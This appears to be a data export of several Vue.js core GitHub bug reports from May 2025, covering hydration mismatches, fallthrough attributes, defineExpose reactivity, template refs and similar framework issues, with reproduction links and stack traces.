https://play.vuejs.org/#eNqFk8tu2zAQRX9lwC4kI46UWO0msA20RRYt0AdaL7kRpJHLlBIJklINCPr3DinTjyJNduLcw9E8Lkf2Xuts6JE9sLWtjNAOLLpeb3kHIFqtjIOPqtXQGNVCkuX+4C8kF8AIBhuYjkwUK9VZB3XpynvYeCJtSmlxca2tjlqySv5RiqgUs0J17USLqndpuoDNFtKQOxtK2SOxzvS4WML93d0LeHHCk+ImIfxdwNf53Dy1TQeHrZalwzCEtdVlB6LecOZKs0fH2ZZwCs5yhGG4FQ1BoShivEjyDiWGIdXYoAGnCHlzSjSOx1anaZ1HNF4Ncx9uW1WjPCZecQb5/N/8osqrA1syZ2mMjdhnT1Z1tNrR3+CsooRCovmmnaAxc/YAQfFaKaX68znE/CCXMV79wur3M/Ene/Axzr4btGgG5Oykxfa8/PjzKx7o+yRSO70k+gXxB1ole1/jjH3ou5rKvuBCtZ+C+0S339nHg8POxqZ8oZ6cAs8ZOdLP8n+tn8stsrfhHu8mmmK0+rNv49rBtFzR4Re/qTS4Lwhnr61u6Em8ZrKzra73Of0FXGEvJA==

### Steps to reproduce

Open the page

### What is expected?

No error

### What is actually happening?

```
Uncaught (in promise) RangeError: Maximum call stack size exceeded
    at Object.process (VM113 vue.runtime.esm-browser.prod.js:5:22726)
    at VM113 vue.runtime.esm-browser.prod.js:5:23301
    at nl (VM113 vue.runtime.esm-browser.prod.js:5:21587)
    at e (VM113 vue.runtime.esm-browser.prod.js:5:21053)
    at e (VM113 vue.runtime.esm-browser.prod.js:5:21090)
    at e (VM113 vue.runtime.esm-browser.prod.js:5:21090)
    at e (VM113 vue.runtime.esm-browser.prod.js:5:21090)
    at e (VM113 vue.runtime.esm-browser.prod.js:5:21090)
    at e (VM113 vue.runtime.esm-browser.prod.js:5:21090)
    at e (VM113 vue.runtime.esm-browser.prod.js:5:21090)
```

### System Info

```shell
OS: Windows
Chrome: 136.0.7103.114
Edge: Chromium (1... [TRUNCATED]","scope: teleport,:hammer: p3-minor-bug",2025-05-17T13:24:32Z,2025-05-20T00:27:55Z,0
vuejs/core,3070474710,Fallthrough attributes not applied if comment in root of child template and child component has certain structure,"### Vue version

3.5.14

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U8tu2zAQ/JUtz7F0aE+uW6ANAiRF2xSNjzyIFtcSU4oU+FAdBP73LClIloAkN+3M7HBfembf+r4YIrIt2/naqT6AxxD7r9yorrcuwHWrtISjsx1wVpQ5TBmcccNNWcIGHsKTVqaBQQk4Cq1D62xsWhAhOHWIAT0YG0D0vVYoIVios6mzhFZSDRUoA3V0Dk2A2pqjaqITQdnphTvvI4JUnjxQOA/quM0UEHlvEOwRQotg0Ad6IXuSyIzVp3JBeXDY2QHlnLinjLlGMKLLPvZiN/l4KliYhpyxaAqolKxmhLqpDlq0FVg3vQDUh3Kon1ZP3e5//aTuui51+WZtu3LcA22AgoBdr0VAigB24y48jRu/cFZbbd2WMuVnzqAkya5c6NkVC34cZvHoraEVPyeXlNj1SqO779OIPWdbyEziaH32/4+MBRfxasLrFut/r+CP/pQwzv449OgGuouZC8I1GEb65uE3nuh7Jjsroyb1O+Rf9FbHfAZZ9j0aSWUvdLnau3yodIB7f3MKaPzUVCo0Kc9ZzxmN+vqd1i/lfiw+5TxuzjTFeU/pJ1kv5MNmA2SZN7rZjBjdDChJ+xGcZWSJHWZsidYLdInLFb5kaHArBuAWaRYrcUnqpe0qXkaX7+lrfUjnFyfgVNM=

### Steps to reproduce

SFC playground example demonstrates bug behavior.

The issue disappears with any of these modifications:
- One of the nested `div`s in the child component receiving the fallthrough attr is removed
- The attribute of one of the `div`s is changed to an unknown HTML attribute or removed
- The comment in the child is removed

### What is expected?

The `style` attribute applied by the parent component should be applied to the root `div` of the child component

### What is actually happening?

The attribute is not applied

### System Info

```shell
System:
    OS: Linux 6.14 Fedora Linux 42 (Workstation Edition)
    CPU: (24) x64 AMD Ryzen 9 3900X 12-Core Processor
    Memory: 3.55 GB / 15.55 GB
    Container: Yes
    Shell: 4.0.1... [TRUNCATED]","scope: compiler,:hammer: p3-minor-bug",2025-05-17T07:02:04Z,2025-06-05T02:23:01Z,0
vuejs/core,3068389924,`<Transition appear>` leads to hydration mismatch with SSR,"### Vue version

3.5.14

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNp9kbtuwzAMRX9F4BzYQzsFboC2yJAObdFm1CLYrKNUL4iSayDwv1eS8xqCbMQ9l+SldIBn56ohIiyhCaidEgFX3DDWbL0wJIO0hgnnUPgiJ9DJgbVKED1xkFqUksNqw3ZiQEZW44yRmjp552n1ZVwSmvpqFywgUGvNj+yrPVmTohxyD4fWaicV+g+X+9KSJSskM6GU/XsrWvARFye93WH7e0Pf05g1Dp8eCf2AHM4sCN9jmPH6+x3HVJ+htl1UyX0HfiFZFXPG2fYSTZdiX/lK2o121gdp+i2tx4DpOY5H5aDZORU/h/Qfr3dOv8R9qB5LHzcTTP/lXpeM

`App.vue`:
```vue
<template>
  <Transition appear>
    <div class=""imaclass"">I have some classes</div>
  </Transition>
</template>
```

### Steps to reproduce

When you open the reproduction you will see the following message in the lower right corner: 'Hydration completed but contains mismatches.'

More info:

```
[Vue warn]: Hydration class mismatch on 
<div class=""imaclass v-enter-from v-enter-active""> 
  - rendered on server: class=""imaclass v-enter-from v-enter-active""
  - expected on client: class=""imaclass""
  Note: this mismatch is check-only. The DOM will not be rectified in production due to performance overhead.
  You should fix the source of the mismatch. 
  at <BaseTransition appear=true persisted=false mode=undefined  ... > 
  at <Transition appear=true > 
  at <Repl>
```

### What is expected?

I expect no hydration mismatch.

### What is actually happening?

There is a hydration mismatch.

### System Info

```shell

```

### Any additional comments?

related: https://github.com/vuejs/core/issues/12046, https://github.com/vuejs/core/pull/1204... [TRUNCATED]","scope: transition,:hammer: p3-minor-bug,scope:hydration",2025-05-16T08:54:24Z,2025-05-20T00:28:45Z,1
vuejs/core,3067660189,Reactive object is marked as raw by defineExpose,"### Vue version

3.5.14

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kd9LwzAQx/+VmJdOmC1j82V0A5WB+qCigi8BKe21y0yTkKS1UPq/e0ndj4exl5C77/eSz9319E7ruG2ALmlqc8O1IxZco9dM8lor40hPDJRTPLLc8RbIQEqjahJhUcQkk7mS1pHaVmTlnZPoEYRQ5EsZUVxF10cLdFpZKIJtfGvSM0l8KZNDMBZQcgmbYJz8+1FIkxENoTBwUGuROcCIkHQ7W/d9+H4Y0gSjkOVSN460N7UqQKwY9X9QkqCYJif1dEqdRbqSV/HOKolTCEiM5qrWXIB51Y4jPaNLEhSvZdjf73PIOdPAdJ/Pt5D/nMnvbOdzjL4ZsGBaYPSgucxU4EZ58/ECHd4PItI3At0XxHewSjSecbTdN7JA7BNfoH0Ku+Sy+rSbzoG0+6Y8qHcOwc8obvXhQutH3Hm8CHW4OpzidwvGv4kDnMe38WxBhz9gBskT

### Steps to reproduce

No additional steps necessary.

### What is expected?

The object passed to defineExpose should remain a reactive object, and not marked as raw.

### What is actually happening?

The object is being marked as raw and losing its reactivity.

### System Info

```shell

```

### Any additional comments?

I believe  has behaviour has always been present but has only become an issue in 3.5.14, caused by #12824 .

If this behaviour is intended, it's not mentioned in the defineExpose documentation that reactive objects should not be used.","need more info,can't reproduce",2025-05-16T00:43:28Z,2025-05-20T00:11:17Z,1
vuejs/core,3065258063,Installation of version 3.5.14 failed,"### Vue version

3

### Link to minimal reproduction

null

### Steps to reproduce

pnpm view @vue/compiler-core versions                                


### What is expected?

.

### What is actually happening?

[
  '3.0.0-alpha.0',  '3.0.0-alpha.1',  '3.0.0-alpha.2',  '3.0.0-alpha.3',
  '3.0.0-alpha.4',  '3.0.0-alpha.5',  '3.0.0-alpha.6',  '3.0.0-alpha.7',
  '3.0.0-alpha.8',  '3.0.0-alpha.9',  '3.0.0-alpha.10', '3.0.0-alpha.11',
  '3.0.0-alpha.12', '3.0.0-alpha.13', '3.0.0-beta.1',   '3.0.0-beta.2',
  '3.0.0-beta.3',   '3.0.0-beta.4',   '3.0.0-beta.5',   '3.0.0-beta.6',
  '3.0.0-beta.7',   '3.0.0-beta.8',   '3.0.0-beta.9',   '3.0.0-beta.10',
  '3.0.0-beta.11',  '3.0.0-beta.12',  '3.0.0-beta.13',  '3.0.0-beta.14',
  '3.0.0-beta.15',  '3.0.0-beta.16',  '3.0.0-beta.17',  '3.0.0-beta.18',
  '3.0.0-beta.19',  '3.0.0-beta.20',  '3.0.0-beta.21',  '3.0.0-beta.22',
  '3.0.0-beta.23',  '3.0.0-beta.24',  '3.0.0-rc.1',     '3.0.0-rc.2',
  '3.0.0-rc.3',     '3.0.0-rc.4',     '3.0.0-rc.5',     '3.0.0-rc.6',
  '3.0.0-rc.7',     '3.0.0-rc.8',     '3.0.0-rc.9',     '3.0.0-rc.10',
  '3.0.0-rc.11',    '3.0.0-rc.12',    '3.0.0-rc.13',    '3.0.0',
  '3.0.1',          '3.0.2',          '3.0.3',          '3.0.4',
  '3.0.5',          '3.0.6',          '3.0.7',          '3.0.8',
  '3.0.9',          '3.0.10',         '3.0.11',         '3.1.0-beta.1',
  '3.1.0-beta.2',   '3.1.0-beta.3',   '3.1.0-beta.4',   '3.1.0-beta.5',
  '3.1.0-beta.6',   '3.1.0-beta.7',   '3.1.0',          '3.1.1',
  '3.1.2',  ... [TRUNCATED]",,2025-05-15T07:33:38Z,2025-05-15T07:45:58Z,2
vuejs/core,3064798187,"v-bind=""data"" reports an error during the patch phase.","### Vue version

3.5.13

### Link to minimal reproduction

https://element-plus.run/#eyJBcHAudnVlIjoiPHRlbXBsYXRlPlxuICA8ZWwtYnV0dG9uIHBsYWluIEBjbGljaz1cImRpYWxvZy5vcGVuKERhdGUubm93KCkudG9TdHJpbmcoKSlcIj5cbiAgICBDbGljayB0byBvcGVuIHRoZSBEaWFsb2dcbiAgPC9lbC1idXR0b24+XG5cbiAgPGVsLWRpYWxvZ1xuICAgIHYtbW9kZWw9XCJkaWFsb2cudmlzaWJsZVwiXG4gICAgdGl0bGU9XCJUaXBzXCJcbiAgICB3aWR0aD1cIjUwMFwiXG4gICAgQGNsb3NlZD1cImRpYWxvZy5kYXRhID0gbnVsbFwiXG4gID5cbiAgICA8Q29tcCB2LWJpbmQ9XCJkaWFsb2cuZGF0YVwiPjwvQ29tcD5cbiAgPC9lbC1kaWFsb2c+XG48L3RlbXBsYXRlPlxuXG48c2NyaXB0IGxhbmc9XCJ0c1wiIHNldHVwPlxuaW1wb3J0IHsgcmVhY3RpdmUgfSBmcm9tICd2dWUnXG5pbXBvcnQgQ29tcCwgeyB0eXBlIFByb3BzIH0gZnJvbSAnLi9Db21wLnZ1ZSc7XG5cblxuY29uc3QgZGlhbG9nID0gcmVhY3RpdmUoe1xuICB2aXNpYmxlOiBmYWxzZSxcbiAgdGl0bGU6ICcnLFxuICBkYXRhOiBudWxsIGFzIFByb3BzIHwgbnVsbCxcbiAgb3Blbih2YWx1ZTogc3RyaW5nKSB7XG4gICAgZGlhbG9nLnRpdGxlID0gJ+agh+mimCdcbiAgICBkaWFsb2cuZGF0YSA9IHsgdmFsdWUgfVxuICAgIGRpYWxvZy52aXNpYmxlID0gdHJ1ZVxuICB9LFxuICBjbG9zZSgpIHtcbiAgICBkaWFsb2cudmlzaWJsZSA9IGZhbHNlXG4gIH0sXG59KVxuPC9zY3JpcHQ+XG4iLCJlbGVtZW50LXBsdXMuanMiOiJpbXBvcnQgRWxlbWVudFBsdXMgZnJvbSAnZWxlbWVudC1wbHVzJ1xuaW1wb3J0IHsgZ2V0Q3VycmVudEluc3RhbmNlIH0gZnJvbSAndnVlJ1xuXG5sZXQgaW5zdGFsbGVkID0gZmFsc2VcbmF3YWl0IGxvYWRTdHlsZSgpXG5cbmV4cG9ydCBmdW5jdGlvbiBzZXR1cEVsZW1lbnRQbHVzKCkge1xuICBpZiAoaW5zdGFsbGVkKSByZXR1cm5cbiAgY29uc3QgaW5zdGFuY2UgPSBnZXRDdXJyZW50SW5zdGFuY2UoKVxuICBpbnN0YW5jZS5hcHBDb250ZXh0LmFwcC51c2UoRWxlbWVudFBsdXMpXG4gIGluc3RhbGxlZCA9IHRydWVcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIGxvYWR... [TRUNCATED]",:hammer: p3-minor-bug,2025-05-15T03:42:10Z,2025-05-15T04:51:03Z,2
vuejs/core,3059217544,Migration from Vue2 to Vue3 with OptionAPI passing vm from outside not working anymore (data being a function),"### Vue version

3

### Link to minimal reproduction

https://jsfiddle.net/superboy2k/qb3o7fka/1/

### Steps to reproduce

I started using view since version 1 and i'm stuck on version 2 due to a missing feature.
We alwasys loved the fact that Vue is not invasive in my codebases, thank to this property we could evolve the viewmodels for many years with very good efficiency and no errors.

In vue2 we have a lot of code that follow this structure, and it works very well : 

```
var pageViewModel = new PageViewModelClass( /* paramerters or seed from server side rendering*/ )
 var vueInstance = new Vue({
     el: ""#domId"",
     data: pageViewModel 
 });

```
I'm trying to migrate to vue3, but the following approach is not working anymore, and we really would not like to merge the business logic view model inside vue function, how can we keep using vue3 by passing an external view model to the vue instance ? The ideal would be something like this 

```
   createApp({
      data() {
        return vm;
      },
    methods : vm
   }).mount('#app')
```

but the error reports ""vue.esm-browser.js:2260 [Vue warn]: Property ""increment"" was accessed during render but is not defined on instance. 
  at <App>"" and ofc it does not work.

Thank you
long time vue lover looking forward to use vue3


### What is expected?

i would like to make an instance of a view model and pass it to vue like we used to do with vue2.

### What is actually happening?

not working

### System Info

```shell

```
... [TRUNCATED]",,2025-05-13T08:32:47Z,2025-05-14T07:19:02Z,0
vuejs/core,3058966993,defineModel and v-model value mismatch with native input binding,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqVU11r2zAU/StCL3agUxhZYWROYBt52GAfdKNPgmGcm9SdLAlJdgMh/71XV7bjftDSBxvrnnO/jo6P/LO1omuBL3nhK1fbwDyE1q6lrhtrXGBH5mDHTmznTMMypGYjVN3UatsDYk6nWCv7NEm+K0N18yAdUQWB2dKBDtelaoGtYo88C+BDNutxKneFrROoW6UiRPXyfLZaTwqILr4vYvQoNWOV0d4oEMrscwqwabvl08zEoZaJMnRPuGjMFhQhPbXWtu2rPaISMh4j+zSTOj7FPCmM2uIhQGNVGQBPjBVJSlx0JflQUHLWvaPOGJzMLPm6SGpjbjGfFOIXPHhcflfvxa03Gm+V1seaprG1AvfLhhrFkXzJemEkL5Uyd98pFty4YZwDqv/PxG/9IcYk/+3Ag+twoBELpdtDSPDmz0844PcI4i6tQvYL4BXgxbVxxkT70uotjj3h0bTfyF613v/1m0MA7Yel4qCkOfElR8N9fWH187gL8YHy8KpQxdHLb/svou8CO5sFvbuFXa3hRwzl6IHEGDwy9bbUibo5WOMhP04sN9BfMxHxehMNOQ9MdK5JHiLOMx7614GLiuLyC3Ep3i9iLPjrMXopPooFP90DV0h0uA==

### Steps to reproduce

1、Open DevTools
2、Enter the number `1` in the input box

### What is expected?

The console should log:
```{ parentValue: 'test1', childValue: 'test1', inputValue: 'test1' }```

### What is actually happening?

The console logs:
```{ parentValue: 'test1', childValue: 'test', inputValue: 'test1' }```

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-05-13T06:56:40Z,2025-05-13T07:26:53Z,1
vuejs/core,3057900239,"Incorrect warning: <tr> cannot be child of <template>, according to HTML specifications","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UstOwzAQ/BXjSy9NcoBTiSoB6gEkoAKOvkTONk1xbMuPElTl31k7anAQcFvPzNqzOz7RG63zowe6oqXlptWOWHBer5kkpO20Mo48ft4prCRIR3ZGdWSRFwkW2hfXTJbFeAG24sFBp0XlIF5UJvIIIDQTjIiZ6nCq1xyEKAssJkkxabCcvZA6WhMS7CQCuqTOciV3bZMfrJI47im0McqxqRVgnrVrlbSMrkhkAlcJoT4eIuaMh+UZ53vg77/gB9sHjNGtAQvmCIxOnKtMA26kN69P0GM9kZ2qvUD1P+QLWCV88DjKbr2s0Xaii27vY2StbN7spncg7XmoYDQoh6hnFEML+/pr9G+7l/lV7GNywC3+yD18m3kOF1lGtqLisFeiBkPCfsevk2WoSFKhwxdErNBk

### Steps to reproduce

Visit the reproduction link, you will see this error:

```<tr> cannot be child of <template>, according to HTML specifications. This can cause hydration errors or potentially disrupt future functionality```

But as we know, `<template>` has no restrictions in the permitted content:

https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/template#technical_summary

### What is expected?

The warning shouldn't exist.

### What is actually happening?

The warning exists

### Any additional comments?

It shouldn't be necessary to go into _why_ I am using this pattern, it's probably a distraction :)","scope: compiler,:hammer: p3-minor-bug",2025-05-12T19:16:27Z,2025-05-16T01:05:33Z,0
vuejs/core,3057525311,BaseTransition Unmounting Optimization leads to animation disappear,"### Vue version

3.5.3

### Link to minimal reproduction

https://play.vuejs.org/#eNqVV21T2zgQ/ivbdG4SOuQFaG+4HGQKbT/0rtMyB/ep9IOw5VjFtjySHMIx+e+3kiVbsh3aDi+2V6vdZ18kPXoaXZTlbFPR0XJ0pmheZkTRFcBtAXAWsw1EGZHy/HYU8UIRVlBxO7LDqJAerS6JpDeCFJIpxgv4t8h5VShWrOE9zfnZHFUa9a49wTPpmUONu0optPI2ylh0j1qKr9cZvU75A+rdmA94x/OSF7RQZ/Na/TkDVY3nIsvQgAUH+AWT63tWwkXBcqKBH/SMnc0Rrmd6IIYYI5wSQUkYRE/ljm8DDZ2545WXtUuakg3jYon5Og4VfWPEoZ0OVcNOUI3ZqXYOmylLcK6scxgqd+z3cVqlcnWTMgk0oznmfSwho2RDocEDDwxTekdBYlJLGgOKbObP5mXfaSe1tawDPExDZ0b4/ROlwoRJntGwUOnJ6l0thy+VKiul83/ia5SCrp6eIONrOfvOWTEZ394W4wPY7TAuHBtC0L5jTOGKQpGMBCuV+WbYx0LBEwiawA4SwXMY41Ice4Ntk+jlZHVm81Cs16+ZpP/o1kyMaUKqTFs38sgtGrl0IugaN9LdYf2UVFXl5KBV1hlUoNsIzjXiiRIVPQhHdZ7s6NdvzZh7zufwia+BFYqKiJaKCzfCEpiox5LyBDupiNHFi/NzGFcFRoFdHmPGGxzOFxdszQqS2Qpqy+dmCD9mCCTUd8JzmMxmMyLW8gDOV75VqKu8IVlFZ2Ul04nWslWH8YEXDgw4b802ajv32ry4Z1IVkVk37f7mpxqzj5IaCiJ+4X01Gi1Y1Pj67ceu2p0wdLXHUJC2ydjb15tWwoixMMOYE5LJBm0PlMDmEkU3YNt5DpT32abJE7YBdfyYh/l3NveWW7381GNWr8ZZs4c6HAkKpgnJWfa4hAvBSHYIElfIVFLBkj9rpZxspw8sVukSTheLctuIBTbEEhZAKsWtsCRxjBlbwrFTtAitd33+Oee1ATwq8BDKB2e4o8TNuOMipmIJR+UWsFAshpdxHFvX9eBUkJhVuORPG6ANpqM3HfDP+R44eRyMlLJ1qrS9Nhslr7eVJVYatz+2oR17fhgkul8LrGSMtjM8A+Hl6+O7P05PrC0rfEiZqq0M5bUX8OtmwBbraLH4rVHdTiX7z1iw01AUIrQ8IiwOLnoTqReoQ4IJhqPfWzT9oI6jE/pmsT8oV84C19aPYooqIfX8Ejcn3Ez7rWXOtP0JTk71T8fxz/RRC6HfRw0APBjDxOGycMXQAU9lSSKK6AWdPghShrPnr7xzCcx6lfBqbiJLSEynuPMgIoK72oaa7aAWG0pixc59SymWwNEpU49wjDwGOWsnZ55lfcb27CrubFo7Lia3z5h9ZXQ4UhLTn7D17LvkBZLqJ+MA+UdesoyKL6VGg6wXj+F600... [TRUNCATED]",,2025-05-12T16:33:43Z,2025-05-13T00:32:11Z,3
vuejs/core,3055868326,MutationObserver.disconnect() in _setProp of core/packages/runtime-dom/src/apiCustomElement.ts may cause some confused problem,"### Vue version

3.5.13

### Link to minimal reproduction

https://calvin-ling.github.io/vue3-define-custom-comp-issue/issue.html

### Steps to reproduce

1.define 2 props in Vue component，such as ""label"" for string and ""complexProp"" for object.
2.import { defineCustomElement } from 'vue', and define custom Elements
3.in native js, setAttribute('label', 'a string value'), at the same time, update another props defined(complexProp)
4.setTimeout wait for the observer, look for the dom property ""label""
like:
```javascript
var comp = document.querySelector('my-custom-component');
const test = () => {
  // setAttribute('label'), at the same time, update another props defined
  comp.setAttribute('label', 'update by setAttribute');
  comp.complexProp = {
    content: 'update another props'
  };
  // the label update is not reflected in the component
  setTimeout(() => {
    console.log('setTimeout wait for the observer.');
    console.assert(comp.label === 'update by setAttribute');
  }, 0);
};
onload = () => {
  test();
};
```


### What is expected?

expect: the property ""label"" should be updated.

### What is actually happening?

actual: the ""label"" update is not reflected in the component.

### System Info

```shell

```

### Any additional comments?

may be it can use [`attributeChangedCallback`](https://developer.mozilla.org/en-US/docs/Web/API/Web_components/Using_custom_elements#responding_to_attribute_changes)","🔩 p2-edge-case,scope: custom elements",2025-05-12T07:04:23Z,2025-09-24T09:42:12Z,2
vuejs/core,3054489084,Rendering a list of <Suspense>-wrapped components fails,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/dgrayvold/vue-list-rendering-issue

### Steps to reproduce

1. Install dependencies with `pnpm i`
2. Run the dev server
3. Navigate to the index page and click the `Scramble` button

### What is expected?

The list is rendered properly with the expected scrambled order rendered at the top of the page

### What is actually happening?

Rendering fails. The console shows the error `Uncaught (in promise) DOMException: Node.insertBefore: Child to insert before is not a child of this node`

### System Info

```shell

```

### Any additional comments?

Possibly a duplicate of #11617 as the workaround mentioned does make this work. Issue was originally discovered with https://github.com/nuxt/nuxt/issues/31568","scope: suspense,:hammer: p3-minor-bug",2025-05-10T19:44:31Z,2025-05-16T00:32:56Z,0
vuejs/core,3051431659,"How to perfectly expose the methods under ""expose"" in component secondary development","### Vue version

3.5.3

### Link to minimal reproduction

no

### Steps to reproduce

no

### What is expected?

Give me an example
For example, the method of exposing the ref component of the elementplus framework's el input component should be implemented using this principle for external exposure.

## code
const input= ref();
const expose = {};

onMounted(() => {
const entries = Object.entries(input.value);
for (const [method, fn] of entries) {
expose[method] = fn;
}
});

defineExpose(expose);

Is there a more perfect way?

### What is actually happening?

no

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-05-09T08:33:33Z,2025-05-09T08:42:39Z,0
vuejs/core,3050648566,Pure components cannot deduce component names from file names,"### Vue version

v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kE9rwzAMxb9K0LlkhO1UymAbPWyHbWw9+mIcNXXr2MaS20DJd6/t0D+H0pv0fk/iSUd4877eR4Q5LEgF7bki5OhfhV08TUIqU8PYeyMZU1dVraSN7KK0TdNk4w2EGTApZ9e6q7fkbFp8zCMClOu9Nhh+PGtnScC8KiQzaYw7fBWNQ8TZWVcbVLs7+paGrAn4DUgY9ijgwliGDnnCy/9vHFJ9gb1ro0nuB/APyZmYM06292jbFPvGV9J+9t4F1rZb0XJgtHQ+KgfNzrH4BaTvfjw4/Rr3uX4pc8KOMJ4AurGHDQ==

### Steps to reproduce

Check the compiled js content and find that there is no name

### What is expected?

Pure functions can also deduce component names

### What is actually happening?

no name

### System Info

```shell

```

### Any additional comments?

I checked the relevant source code，It is found that when the script tag is empty, execution cannot continue。

<img width=""588"" alt=""Image"" src=""https://github.com/user-attachments/assets/04b4a9f9-39be-4d34-8f0c-e6aa067606a0"" />",,2025-05-09T03:34:15Z,2025-05-09T08:45:15Z,2
vuejs/core,3049608612,Compatible with tsconfig `allowArbitraryExtensions` option,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/Teages/vue-allow-arbitrary-extensions

### Steps to reproduce

1. enable [allowArbitraryExtensions](https://www.typescriptlang.org/tsconfig/allowArbitraryExtensions.html) in `tsconfig.json`
2. create two files: `WithType.vue`, `WithType.d.vue.ts`, add a type export in `WithType.d.vue.ts`
3. try to import the type by `import type { X } from './WithType.vue'`

You can run `pnpm i & pnpm play` in the reproduction

### What is expected?

Vue should load the type from `WithType.d.vue.ts` as [allowArbitraryExtensions](https://www.typescriptlang.org/tsconfig/allowArbitraryExtensions.html) was enable and `.vue` file is not a known JavaScript or TypeScript file extension.

### What is actually happening?

Vue try to resolve the type from `WithType.vue` but not `WithType.d.vue.ts`, and finally it doesn't find the type and throw a error:

```
~/main.ts:80
      throw new Error(`[vue-sfc-transformer] ${msg}`);
            ^

Error: [vue-sfc-transformer] Unresolvable type reference or unsupported built-in utility type
    at Object.error (~/main.ts:80:13)
    at innerResolveTypeElements (~/node_modules/.pnpm/@vue+compiler-sfc@3.5.13/node_modules/@vue/compiler-sfc/dist/compiler-sfc.cjs.js:22104:20)
    at resolveTypeElements (~/node_modules/.pnpm/@vue+compiler-sfc@3.5.13/node_modules/@vue/compiler-sfc/dist/compiler-sfc.cjs.js:21995:20)
    at resolveRuntimePropsFromType (~/node_modules/.pnpm/@vue+compiler-sfc@3.5... [TRUNCATED]","scope: compiler,:hammer: p3-minor-bug",2025-05-08T17:06:47Z,2025-05-16T00:38:49Z,1
vuejs/core,3049496057,Type-only defineProps and defineEmits cause a compiler-sfc error when using path aliases,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/XunJiJiang/Error-of-Type-only-define

### Steps to reproduce

Type-only `defineProps` and `defineEmits` cause a `compiler-sfc` error when using path aliases.


### What is expected?

Correct type resolution


### What is actually happening?

An \[@vue/compiler-sfc] error occurs when using path aliases from `vite.config` in `App.vue`, while relative or absolute paths are resolved correctly.

![Image](https://github.com/user-attachments/assets/fc61dcf2-f3cf-4659-adc2-ee9ef6a2daea)

### System Info

```shell
System:
    OS: macOS 15.4.1
    CPU: (14) arm64 Apple M4 Max
    Memory: 436.31 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.13.0 - ~/.nvm/versions/node/v22.13.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v22.13.0/bin/yarn
    npm: 11.0.0 - ~/.nvm/versions/node/v22.13.0/bin/npm
    pnpm: 10.6.3 - ~/.nvm/versions/node/v22.13.0/bin/pnpm
    bun: 1.2.2 - ~/.bun/bin/bun
  Browsers:
    Chrome: 136.0.7103.92
    Safari: 18.4
  npmPackages:
    vue: 3.5.13 => 3.5.13
```

### Any additional comments?

_No response_",,2025-05-08T16:16:02Z,2025-05-08T17:56:33Z,1
vuejs/core,3034929355,Can't bind a style object with a clip-path string inside,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UU1P4zAQ/SsjayVaKZum2uWSTSvtrpB2EV8CxAH5QHCGxODYlu2Uoir/nbFLCwfEbTzvzZv3xhv229p8NSArGddVwN6qOuCSa4CqkSsQqvZ+wZkwOtRSo+MMSh9eFFLzXuqGs2U1IyaNVLMP8/T0wkkbwGMYLHVkb40LsAFhejsEbGCEB2d6OKD9B3GClvgAtg4dLICz0yIrTor8MCvy+ck8K27m/4pbzn7tiHE9EXdyk8kUFkuYbKJ5oaS9IKES7qLehLNvm1iMnE3vuB6nU5KpZluLb3ZjKirzfVZIUh3KtgslHBarjoYA7mvx1Doz6Oa7MMq4Ehw2hIxJMamwjAVPOg+yzR+90XTepBUP2Vup0J3bICkFZ+V2S8RqpczzceoFN2C264sOxdMn/Ue/jj3OLhx6dCvkbI+F2rUYtvDR1Rmuqd6DvWkGRewvwEv0Rg3R45b2h+KS7Q+85PZ/+lSp22t/tA6o/S5UNBqZY+JzRn/894vo73Z/5D/THN2Tja/kEN8P

### Steps to reproduce

If you inspect the rendered element, you'll see it's got `clip-path: path(""M 0 0 L 0.5 0.1 L 1 0 V 1 H 0 Z"");` with all commas remove, which breaks the functionality.

### What is expected?

The clip path to be rendered as written in the code

### What is actually happening?

Path is stripped of all commas

### System Info

```shell
System:
    OS: Linux 5.14 AlmaLinux 9.5 (Teal Serval)
    CPU: (8) x64 Intel Core Processor
    Memory: 7.94 GB / 15.37 GB
    Container: Yes
    Shell: 5.1.8 - /bin/bash
  Binaries:
    Node: 22.15.0 - /opt/cpanel/ea-nodejs22/bin/node
    npm: 10.9.2 - /opt/cpanel/ea-nodejs22/bin/npm
    pnpm: 9.15.4 - /opt/cpanel/ea-nodejs22/bin/pnpm
```

### Any additional comments?

_No response_",,2025-05-01T23:58:25Z,2025-05-02T08:19:16Z,3
vuejs/core,3034751903,"useTemplateRef() can not get the element, the value will be null","### Vue version

 3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk2L2zAQ/SuDLkkgtQlpL4uz0JY9tNAPtktPgqIqY1tbeWT04QZC/ntHSp12lyU36c3ozXtvdBRvx7GaEoob0QTtzRghYEwjWEXdTooYpLiVZIbR+QhHcPTJJYq4X0MK+IDDaFXEe2zhBK13AyyYbCFJ0qVzuVzB7haOkgC0oxAhmmgRds8YlouCL1Zzo7NYWdctC1xNyiZcQV0DJWtzj2nhaa2MuP5WKwJyEZTWGALE3gSwhjC/PEk68fCmPgfBtvkS/wrkG0CzNxNoq0LgaHr07tVPRYS+ZJRHN/0GPLY5uDyY8e8Jt9Wbpu43Z4aaKfjU1BdiseaUWXNruuoxOOJVFCNSaDeMxqL/MkbDnqS4mS1Koax1vz8WLPqE6xnXPepfL+CP4ZAxKb56DOgn1napReU7jOfy3bfPeODzpTi4fcpOrhTvkfNOWeO57V2iPcv+r6+o/VA+kaHuIdwdIlKYTWWhZQGlXwr+Qu+vWP8nd1u9nhfHKf6Y0GdODpAjrzZbcfoD2BTz6Q==

### Steps to reproduce

```vue
<script setup lang=""ts"">
import { onMounted, useTemplateRef } from 'vue'

onMounted(() => {
  const title = useTemplateRef('title')
  console.log(title.value) // null
  if (title.value) {
    console.log(title.value) // can not access this line
  }
})
</script>

<template>
  <div>
    <h1 ref=""title"">Vue3.5</h1>
  </div>
</template>
```




### What is expected?

#

### What is actually happening?

#

